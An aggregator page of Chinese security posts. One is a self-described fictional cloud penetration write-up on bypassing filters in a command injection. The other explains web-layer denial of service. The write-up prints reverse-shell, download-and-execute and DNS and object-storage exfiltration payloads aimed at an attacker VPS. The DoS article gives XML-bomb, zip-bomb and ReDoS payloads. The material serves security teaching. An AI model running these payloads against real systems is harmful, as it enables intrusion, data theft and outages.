Aggregator
How to Do Micro-Segmentation the Right Way
Verisign Expands MANRS Relationship to Strengthen Global Routing Security
Verisign has been involved with an initiative known as Mutually Agreed Norms for Routing Security, or MANRS, since its inception. MANRS, which is coordinated by the Internet Society, focuses on strengthening the security and resiliency of IP networks throughout the world by identifying and providing best practices for mitigating common routing security threats. MANRS began […]
The post Verisign Expands MANRS Relationship to Strengthen Global Routing Security appeared first on Verisign Blog.
WAF绕过奇技淫巧之SQL注入
How to Guard Against Identity Theft in Times of Increasing Online Fraud
Why cloud first is not a security problem
Akamai Mitigates Sophisticated 1.44 Tbps and 385 Mpps DDoS Attack
Akamai Mitigates Sophisticated 1.44 Tbps and 385 Mpps DDoS Attack
一次幻想的云上渗透
我也很久没写博客了,故事纯属虚构,看官看个热闹,如有雷同纯属巧合。
本文主要讲述了我幻想中的一次在云上的渗透,涉及的技术点有命令注入原理,命令注入限制的绕过,dnslog 的使用技巧,云上渗透的一些思路,文中包含大量无证据无截图的攻击思路和试错尝试,真假自辨,如有帮助,不胜荣幸。
0x01 入口这次的入口来得比较粗暴,就是一个命令注入的漏洞。 漏洞产生的原因是后端将前端输入 shell 中执行命令时,没有将参数按规范进行格式化,而是直接拼接成字符串,然后代入到 bash 中执行,原本最多是个参数注入,变成了命令注入。
我们用实际例子来详细说明这个问题,这块知识比较基础,熟悉的大手子们就可以掠过这部分。
用 python 来示范
import os import subprocess host = raw_input("Enter host:") #host = "green-m.me" subprocess.call("ping -c 1 %s" % host, shell=True)我们输入 green-m.me;ls
这样就能够在执行 ping 命令之后,然后再执行 ls 命令,实现命令注入。
为了避免这种情况,我们应该写成如下形式
subprocess.call(["ping", "-c", "1", host])这样 host 无论是什么值,都会被认为是 ping 的参数,无法实现命令注入。
我这次利用的漏洞就是如此。
0x02 限制与绕过 验证漏洞看起来这里是一个命令注入命令,以为直接反弹 shell 就结束了? 不,本次渗透才刚刚开始。
这个漏洞发生的业务类似于 gitee.com ,新建 repo 的时候,可以选择 import 仓库,这个 import 的输入就是触发漏洞的地方。
但是,为了限制这个 URL 的合法性,仓库本身对这个 URL 就有诸多限制。经过多次尝试,我大概试出了如下规则。
允许的字符:
$ ; & () / ; %不允许的字符:
<> {} [] | \ ^ "" 空格限制的字符很多,我们通常的弹 shell 等操作基本都限制了,如
curl x.x.x.x/evil.sh | sh curl x.x.x.x/evil.sh > aaa.sh && bash aaa.sh bash -i &> /dev/tcp/x.x.x.x/80 0>&1类似这样的都不行。
我们先步步为营,用 dnslog 来确认一下命令执行,限制了空格可以用$IFS来绕过(还好$符号还能用)。
完整的 URL 为
https://github.com/qqq;curl$IFS$(whoami).qwewqwe.green-m.me;a.git可以收到名字为git 的 dns 记录。确认了命令执行的漏洞存在。
绕过限制想到既然限制这么多,多行命令全部通过前端传进去是不太可能了,也不能直接把 shell 脚本通过管道符传给 sh 运行,那我们可能只能通过写文件到本地来执行了。
构造 payload
https://github.com/qq;aaa=myvpsip/evil;curl$IFS$aaa$IFS-o/tmp/evil;bash$IFS/tmp/evil;rm$IFS/tmp/evil;test.git分段拆开上面的 payload,方便看清楚实现:
aaa=myvpsip/evil curl $aaa -o /tmp/evil bash /tmp/evil rm /tmp/evil其中 evil 脚本里面是反弹 shell 的命令,位于 myvpspip/evil 上,通过 curl 下载到本地然后运行脚本,最后别忘了删除。
看到这里,有的小朋友可能会有几个问题:
1. 你为什么要把这么多条命令写到一个 payload 里,多段执行不好吗,先发送 curl 下载的 payload,然后发送运行的命令,你到底会不会?
答: 我确实最开始就是这么想的,但是云上的服务都是有负载均衡和集群的,也就是一个前端对应多个后端,与 kafka/spark/es 等自带集群的模式一样。
在这种模式下,每次可能都是后端某一个服务器运行命令,再通过其他方式保持整个集群同步。也就是意味着,先执行下载命令的 服务器,与第二次执行命令的服务器,不是同一个服务器。当然也不排除有可能两次都是同一个服务器,这个概率与集群大小成反比,我尝试了几次都没成功,遂放弃这个方法。
2. 为什么要先把 vps 的 ip 赋予一个变量,然后 curl 这个变量,这种写法与直接 curl ip 有什么区别?
答: 这种方法主要是因为该处限制比较严格导致的。可以参考如下场景:
curl green-m.me // 正常使用情况 curl${IFS}green-m.me // 不使用空格 aaa=green-m.me;curl$IFS$aaa // 不使用空格和{} curl$IFSgreen-m.me // 不使用空格和{},报错,提示 bash: curl.com: command not found第四条命令会报错,因为 shell 会把 $IFSgreen-m 认为是一个变量,而不是分开解析成 $IFS 和 green-m.me。为了解决这个问题,我们只能使用第三条命令的方式来保证 payload 正常运行。
到这里,我们就算是成功绕过了限制,如果能成功访问 vps 的脚本,这个命令执行我们就成功搞定了。
0x03 出师不利一切就绪,监听,运行,仿佛看到了 shell 在向我招手:
What? 居然没弹回来 shell?
我的端口孤孤单单的监听着,就像单身二十五年的男人,渴望着爱情的到来。
冷静了一下,开始思考背后的原因,大概分析了一下,觉得可能有这么几个原因:
- 网络出口是黑白名单机制,vps 不在白名单里。
- git 不能直接出公网,是通过其他代理或者转发出来的,所以 bash 出不来公网,但 git 能出。
虽然这两种情况还是有不少区别,但对于我来说基本没什么区别,在第一种白名单情况下,想弹回来 shell 基本不可能,第二种方式还有可能出来,但拿不到代理设置,命令也有限制,想弹 shell 还是非常困难。
……
那退一步考虑,既然弹 shell 不行,那我们能不能考虑只拿数据,先把情况摸清楚,毕竟从前面我们就知道 dns 协议是可以出来的。但问题出在命令的限制很大,想执行稍微复杂一点的命令基本不可能,只能依靠把远端脚本下载到本地运行,才能写多行数据。
接下来的问题就变成了,如何把一个含有多条命令的 shell 脚本,传到一个服务器能够直接访问的地方呢? 换句话说,要么把脚本传到服务器本地,要么把脚本传到内网其他机器上,就这两个思路。
0x04 第一次尝试由于这里是一个 git 服务器,可以托管我们的代码,我们自然的想到可以尝试通过上传文件,将所需的 shell 脚本直接放入服务器中。然后我们再执行 shell 脚本就大功告成了!
git 元数据但是,通过本地测试 gitlab 的实现方法,发现 git 服务器保存 git 文件,并不是如我想象的那样保存完整的目录,也就是说,只保存了 git 的元数据,并不是像我们日常使用一样,能够拿到 git 的完整文件。
也就是说,真正的数据其实是放在 objects 文件夹中的,不能直接拿到完整的文件,git 只保存文件的修改历史。 具体的 git 结构可以参考网上的其他资料,这里不展开。
考虑过使用 git cat-file -p master 来获取文件,如下,我在 .git 目录下执行
$ git cat-file -p HEAD tree d29b5ec8e326568466c1ea3a071d218229ed812e parent 99e4cfeb084c98f040ff8872e692446a21d23793 author Green-m <[email protected]> 1573093065 +0800 committer Green-m <[email protected]> 1573093065 +0800 gpgsig -----BEGIN PGP SIGNATURE----- iQJKBAABCAA0FiEEEKBAqP4JdDnhHGRjekoOaEtdZ0cFAl3DftMWHGdyZWVubS54 eG9vQGdtYWlsLmNvbQAKCRB6Sg5oS11nRxPXEACEIspcteR54x4JuuzJnDYIEDYs KEGvVEG1ZRnYbwTjhIuGCTI/wbdLcm2lKMxakAw18RXCDmiywYvuyxrVTgZnuyOr f3rJ7CodsQ1Fjv/8GJDP/2S08moVzsa18AkaOJiA2Qx61VAs1KFnMaMY6l1FFiDz lqHtMANzga12n+dPESjQh6aeJbQ1Wkq1nZHAlzqD0KD3xcbOaBPGEoqgUA/tV/jS fxdEQrZ/TLCgi+dIpOTCCFA7kJp+ADU3Wx2yQu7UWJofLnnIAwH5pk1TBzLHRu9J +mUE1Zuo5JlgDtXXd2f570XOO/KTbixiMJxv64ILkzzRDr7dSryfGMlrpQaviX2E mbmD1/IpZHPaQbQ5yY8DwoYR6AU5bE78CQW/8RBQhAsBLzBOiLdW8xr/MB3wjYLw IOj+fptrDdHyNAjYoh00x65Vu54vdqLJR9Bp1f8hu0M+SzBWwtwAyiVdwgre8boj 95oQfruW6cJY9SU+Najej+6XFb+mIE0hZVMc8r00KHNhm0ilzV8qemTE9FrtByuT +mbbHqZdJcWznjcGsmpoIm2g0gf1jGiuoUH4G63o1x/xjF3AZEiTHhgQeHwNydue CFzGiTDO7MbAQHi8rw7HilyrgbpsMHi9ScX+vjlwpdSTrnWb3aHsx5QC7NCVxf9n 2cWvM10hItHywvcSWA== =wT6d -----END PGP SIGNATURE----- Add chinese doc.这样的输出非常乱,包括了我的 commit 信息,作者信息,甚至还有 PGP,最后一句才是我能控制的内容。这样不是标准的 shell 脚本的格式,直接运行第一行就报错了。
本地 clone我突然想到,平时我们从 github 上 clone 数据的时候,除了带了一个 .git 的文件夹,还把最终的文件也带了下来,这说明 git clone 的时候会进行一些处理,把最终的完整文件给组合出来。 那么,为了实现我们的目的,我们能不能本地 clone 呢?
在本地尝试一下
# green @ greens-MacBook-Pro in /tmp [22:41:54] $ git clone ~/Tools/dark-shell/.git Cloning into 'dark-shell'... done. # green @ greens-MacBook-Pro in /tmp [22:42:02] $ ls -la dark-shell total 120 drwxr-xr-x 7 green wheel 224 Jun 22 22:42 . drwxrwxrwt 17 root wheel 544 Jun 22 22:42 .. drwxr-xr-x 12 green wheel 384 Jun 22 22:42 .git -rw-r--r-- 1 green wheel 35149 Jun 22 22:42 LICENSE -rw-r--r-- 1 green wheel 1958 Jun 22 22:42 README.md -rw-r--r-- 1 green wheel 10208 Jun 22 22:42 dark_shell.rb -rw-r--r-- 1 green wheel 6362 Jun 22 22:42 shell.md居然可以! 这下我们就能够成功将 shell 脚本传到服务器上了。
远程 clone到这里,我才发现还有一个问题需要解决:我们并不知道服务器上的目录,不知道服务器保存 git 文件夹的物理路径,那我上传了之后根本不能 clone。
回想前面提到的,git 是能够出公网的,干脆我们从远程 clone ,如今也就只有这一条路能够走通了,死马当活马医。
先上传一个含有 shell 文件的仓库,这里我们选择在自己 vps 上开启一个 git,github 的协议是不允许的。
然后执行如下的 payload:
https://github.com/qq;aaa=vpsip/malicious.git;bbb=clone;ccc=/tmp/dark;git$IFS$bbb$IFS$aaa$ccc;bash$IFS/tmp/dark/evil;test.git当我在本地测试的时候,发现 git clone vpsip/malicious.git 居然是走的 ssh 协议,而 ssh 协议既要密钥,又要验证 host key 的指纹,而要走 http[s] 就要指明协议头,但是服务器把这些都过滤了,非常难受,这条路基本上死了。
0x05 柳暗花明一个 RCE 从发现到利用肯定是循序渐进的,都走到这一步了不能轻言放弃。
经过不停尝试和不停对云架构的幻想和思考,我觉得一定有云服务和内网的服务器是相通的,不管是监控,还是 DMZ,还是各种数据集群、基础架构,肯定有没隔离到位的地方,而且有的服务我们用户也能访问。
于是,我把目标放在了对象存储上面,在不同的厂商有不同的叫法,比如 S3,COS,OSS,这些对象存储有可能能够直接和内网相通,为了优化速度或者之类的操作。
我们新建一个创建一个对象存储,设置为公开可访问,里面随便放个文件,用来验证是否能通。
https://github.com/qq;aaa=oss.aliyuncs.com/file;curl$IFS$aaa;curl$IFS$?.mydnslog.green-m.me;test.git提取美化一下关键 payload
aaa=oss.aliyuncs.com/file curl $aaa curl $?.mydnslog.green-m.me$? 表示上一条命令的退出代码,0 表示程序正常退出,无错误,异常退出就是其他不为 0 的数字。
通过这样的命令,我们如果 oss 和我们内网的服务器相通,那么就会发起 0.mydnslog.green-m.me 的请求,否则不通。
通过切换不同的区域,多次尝试,我们成功在 dnslog 中找到一条 0 的记录。
0x06 传输数据花径不曾缘客扫,蓬门今始为君开。
现在我们有两条路,一条是通过 dns 传输数据,动静比较小;另外一条是把敏感数据都压缩打包,然后通过对象存储全部传出来,动静很大。
我们选择先通过 dns 摸清情况,然后再对象存储。
DNS 传输数据我们使用前面构造的 payload,将要执行的脚本写入到 oss 中,然后下载执行。
https://github.com/qq;aaa=myvpsip/evil;curl$IFS$aaa$IFS-o/tmp/evil;bash$IFS/tmp/evil;rm$IFS/tmp/evil;test.git这里我们使用 burpsuite 1.7 版本后有的 Collaborator 功能,为了更方便的传输数据,我优化了一个 扩展 Collabfiltrator,原仓库地址,感谢原作者的项目,我在他的基础上优化了一些操作和设置,也修改了一些我认为是 bug 的地方。
界面:
填入合适的命令,点击 start poll results 开始监听收到的 dns 请求,并进行解析和组合,当命令执行完之后,可以点击 stop 来停止监听。
命令类型分为 windows 和 Linux,有 dig, nslookup 和 ping 来发起 dns 请求。
成功获取到命令执行的结果
我们通过 dns 获取到所需的信息,如系统环境,配置信息,还有目录等,该进行下一步了。
对象存储传输数据将对象存储的权限设置为公开读写,使用 curl 调用 API 接口将数据写入到对象存储桶中,然后从公网下载回来,成功将所有的 git 服务器数据下载回来,这里就不细说了,payload 都在上面提到了。
0xff 后记其实后面渗透还有 cdn 反弹 shell,横向移动等等操作,限于篇幅和无亮点,这次的博客就差不多到这里,感谢观看。
网络安全的资产管理
linux后渗透之收集登录凭证
Web层面上的那些拒绝服务攻击(DoS)
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,Vulkey_Chen(戴城)不为此承担任何责任。
Vulkey_Chen(戴城)拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。
未经Vulkey_Chen(戴城)允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
本文所需一定基础知识方能顺畅的进行阅读和理解,基础知识请读者自行搜索学习。
前言相信很多师傅都了解DDoS攻击,也就是分布式拒绝服务,但这类攻击在很多时候拼的是资源,从攻击者的角度来看进行此类攻击还是需要一定“成本”的,从受害者的角度来看防御此类攻击的“成本”更是昂贵!
拒绝服务是一个老生常谈的话题,而发生在Web层面的拒绝服务风险一直不被重视;虽然其不如RCE、SQLi之类的漏洞更加直接的影响数据和服务,但令服务器宕机这类风险还是不容小视。
试想如果攻击者去利用不费成本的Web层拒绝服务风险造成服务器、应用、模块…瘫痪宕机,岂不是令那些斥巨资建设/购买“DDoS防护”一脸懵~
原理及案例 资源生成大小可控现在有许多资源是由服务器生成然后返回给客户端的,而此类“资源生成”接口如若有参数可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险。
此类场景多为:图片验证码、二维码
实际场景图片验证码在登录、注册、找回密码…等功能比较常见:
关注一下接口地址:https://attack/validcode?w=130&h=53
参数值:w=130&h=53,我们可以理解为生成的验证码大小长为130,宽为53
可以将w=130修改为w=130000000000000000,让服务器生成超大的图片验证码从而占用服务器资源造成拒绝服务。
Zip炸弹不知道各位有没有听说过Zip炸弹,一个42KB的压缩文件(Zip),解压完其实是个4.5PB的“炸弹”。
先不说4.5PB这个惊人的大小,光解压都会占用极大的内存。
该文件的下载地址:https://www.bamsoftware.com/hacks/zipbomb/42.zip
解压这个42.zip以后会出现16个压缩包,每个压缩包又包含16个,如此循环5次,最后得到16的5次方个文件,也就是1048576个文件,这一百多万个最终文件,每个大小为4.3GB。 因此整个解压过程结束以后,会得到 1048576 * 4.6 GB = 4508876.8 GB,也就是 4508876.8 ÷ 1024 ÷ 1024 = 4.5 PB。
通过以上说明,我们可以寻找存在解压功能的Web场景进行拒绝服务攻击,但是这里有一个前置条件就是需要解压并可以递归解压。
那我们想要完成这一攻击就非常的困难了,“前辈”也提到了非递归的Zip炸弹,也就是没有嵌套Zip文件文件的,如下表格:
名称 解压结果 zbsm.zip 42 kB → 5.5 GB zblg.zip 10 MB → 281 TB zbxl.zip 46 MB → 4.5 PB (Zip64, less compatible)存在解压功能的Web场景还是比较多的,可以根据实际业务场景进行寻找。
实际场景根据实际业务场景发现一处上传模板文件功能,根据简单的测试,发现此处上传Zip文件会自动解压:
这里我选择上传zbsm.zip上去,看一下服务器反应:
这里整个服务的请求都没有返回结果,成功造成拒绝服务。
XDoS(XML拒绝服务攻击)XDoS,XML拒绝服务攻击,其就是利用DTD产生XML炸弹,当服务端去解析XML文档时,会迅速占用大量内存去解析,下面我们来看几个XML文档的例子。
Billion Laughs据说这被称为十亿大笑DoS攻击,其文件内容为:
<!DOCTYPE keyz [ <!ENTITY key "key"> <!ENTITY key2 "&key;&key;&key;&key;&key;&key;&key;&key;&key;&key;"> <!ENTITY key3 "&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;"> <!ENTITY key4 "&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;"> <!ENTITY key5 "&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;"> <!ENTITY key6 "&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;"> <!ENTITY key7 "&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;"> <!ENTITY key8 "&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;"> <!ENTITY key9 "&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;"> ]> <keyz>&key9;</keyz>这是一段实体定义,从下向上观察第一层发现key9由10个key8组成,由此类推得出key[n]由10个key[n-1]组成,那么最终算下来实际上key9由10^9(1000000000)个key[..]组成,也算是名副其实了~
本地测试解析该XML文档,大概占用内存在2.5GB左右(其他文章中出现的均为3GB左右内存):
试想:这只是9层级炸弹,如果再多一点呢?
External Entity外部实体引用,文档内容如下:
<!DOCTYPE keyz [ <!ENTITY wechat SYSTEM "https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe"> ]> <keyz>&wechat;</keyz>这个理解起来就很简单了,就是从外部的链接中去获取解析实体,而我们可以设置这个解析URL为一个超大文件的下载地址,以上所举例就是微信的。
当然,我们也可以设置一个不返回结果的地址,如果外部地址不返回结果,那么这个解析就会在此处一直挂起从而占用内存。
Internal Entity内部实体引用,文档内容如下:
<!DOCTYPE keyz [ <!ENTITY a "a...a"> ]> <keyz>&a;...&a;</keyz>其意思就是实体a的内容又臭又长,而后又N次引用这个实体内容,这就会造成解析的时候占用大量资源。
实际场景一开始通过此处上传doc文档的功能,发现了一枚XXE注入,提交后厂商进行修复,但复测后发现其修复的结果就是黑名单SYSTEM关键词,没办法通过带外通道读取敏感数据了~
抱着试一试的心态将Billion Laughs的Payload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件,重新打包即可):
上传之后产生的效果就是网站延时极高,至此就完成了整个测试。
ReDoS(正则表达式拒绝服务攻击)ReDoS,正则表达式拒绝服务攻击,顾名思义,就是由正则表达式造成的拒绝服务攻击,当编写校验的正则表达式存在缺陷或者不严谨时,攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。
在正式了解ReDoS之前,我们需要先了解一下正则表达式的两类引擎:
名称 区别 应用 匹配方式 DFA DFA对于文本串里的每一个字符只需扫描一次,速度快、特性少 awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail… 文本比较正则 NFA NFA要翻来覆去标注字符、取消标注字符,速度慢,但是特性(如:分组、替换、分割)丰富 GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi… 正则比较文本文本比较正则:看到一个子正则,就把可能匹配的文本全标注出来,然后再看正则的下一个部分,根据新的匹配结果更新标注。
正则比较文本:看见一个字符,就把它跟正则比较,匹配就标注下来,然后接着往下匹配。一旦不匹配,就忽略这个字符,以此类推,直到回到上一次标注匹配的地方。
那么存在ReDoS的核心就是NFA正则表达式引擎,它的多模式会让自身陷入递归险境,从而导致占用大量CPU资源,性能极差,严重则导致拒绝服务。
NFA 回溯简单的聊一下什么是回溯,这里有一个正则表达式:
ke{1,3}y其意图很简单,e字符需要匹配1-3次,k、y匹配一次即可。
现在我们遇到了两个需要匹配的字符串:
- keeey
- key
字符串keeey的匹配过程是一气呵成的:匹配k完成之后,完整匹配e,最后是匹配y
字符串key的匹配过程就发生了回溯,其匹配过程如下图所示(橙色为匹配,黄色为不匹配):
前两步属于正常,但从第3步开始就不一样了,这里字符串key已经有一个e被e{1,3}匹配,但它不会就此作罢,而会继续向后用正则e{1,3}匹配字符y,而当发现字符不匹配后,就忽略该字符,返回到上一次标注匹配的字符e再进行一次匹配,至此就发生了一次回溯,最后匹配y结束整个正则匹配过程。
那么为什么会产生回溯呢?这跟NFA的贪婪模式有关(贪婪模式默认是开启的)。
NFA 贪婪我们想要彻底摸清楚整个过程就要抛根问底,究其原理,所以来了解一下贪婪模式~
根据以上所举的案例我们可以理解贪婪模式导致的回溯其实就是:不撞南墙不回头
以下所列的元字符,大家应该都清楚其用法:
i. ?: 告诉引擎匹配前导字符0次或一次,事实上是表示前导字符是可选的。 ii. +: 告诉引擎匹配前导字符1次或多次。 iii. *: 告诉引擎匹配前导字符0次或多次。 iv. {min, max}: 告诉引擎匹配前导字符min次到max次。min和max都是非负整数。如果有逗号而max被省略了,则表示max没有限制;如果逗号和max都被省略了,则表示重复min次。
默认情况下,这个几个元字符都是贪婪的,也就是说,它会根据前导字符去匹配尽可能多的内容。这也就解释了之前所举例的回溯事件了。
恶意正则表达式错误的使用以上所列的元字符就会导致拒绝服务的风险,此类称之为恶意的正则表达式,其表现形式为:
- 使用重复分组构造
- 在重复组内会出现:重复、交替重叠
简单的表达出来就是以下几种情况(有缺陷的正则表达式会包含如下部分):
(a+)+ ([a-zA-Z]+)* (a|aa)+ (a|a?)+ (.*a){x} for x > 10 ReDoS 恶意正则检测对于复杂的恶意正则表达式,靠人工去看难免有些许费劲,推荐一款工具:https://github.com/superhuman/rxxr2/tree/fix-multiline (安装参考项目的readme)
该工具支持大批量的正则表达式检测,并给出检测结果。
实际场景很庆幸的是大多Web脚本语言的正则引擎都为NFA,所以也很方便我们做一些Web层面的挖掘。
做测试的时候大家有没有发现过这样一个逻辑:密码中不能包含用户名
这是一个用户添加的功能,其校验是通过后端的,请求包如下
POST /index/userAdd HTTP/1.1 Host: [host] ... nickname=xxx&password=xxx&...当password中包含nickname则提示密码中不能包含用户名
利用Python简单还原一下后端逻辑:
# -*- coding: utf-8 -*- import sys,re username = sys.argv[1] password = sys.argv[2] regex = re.compile(username) if (regex.match(password)): print u'密码中不能包含用户名' else: print u'用户添加成功'这时候用户名是一个正则,密码是一个待匹配字符串,而这时候我们都可以进行控制,也就能构建恶意的正则的表达式和字符串进行ReDoS攻击。
恶意的正则表达式:a(b|c+)+d 字符串(我们要想让其陷入回溯模式就不能让其匹配到,所以使用ac......cx的格式即可):acccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccx
如下图所示ReDoS攻击成功:
我们只需要以同样的方式替换原请求包中的参数值即可(前提是该功能没有限制字符串长度和特殊字符)~
还有更多应用场景等待去发现,这里就不过多赘述了~
数据查询数量可控想必如下这类接口大家都见多了吧:
/api/getInfo?page=1&page_size=10 ... /api/viewData?startTime=&endTime=1591258015173 ... ...而这类接口通常都是调用数据的,当一个系统数据量十分大(这也是拒绝服务的前提)的时候就需要分页功能去优化性能,那我们尝试将这个可控的数据查询量的参数数值进行修改会怎么样?比如page_size=10000,再去请求会发现服务器明显有返回延迟(大量数据的查询展示):
那如果是page_size=100000000000呢?想象一下,从查询到数据格式的处理返回展示,要占用巨大的服务器资源,我们如果尝试去多次重放此类请求,服务器终究还是无法承受这样的“力量”,最后导致宕机…
时间参数startTime也是如此,我们可以置空或设为0让其查询数据的时间范围为最大…以此类推、举一反三。
Referenceshttps://bbs.pediy.com/thread-252487.htm
https://www.checkmarx.com/wp-content/uploads/2015/03/ReDoS-Attacks.pdf
https://zhuanlan.zhihu.com/p/41800341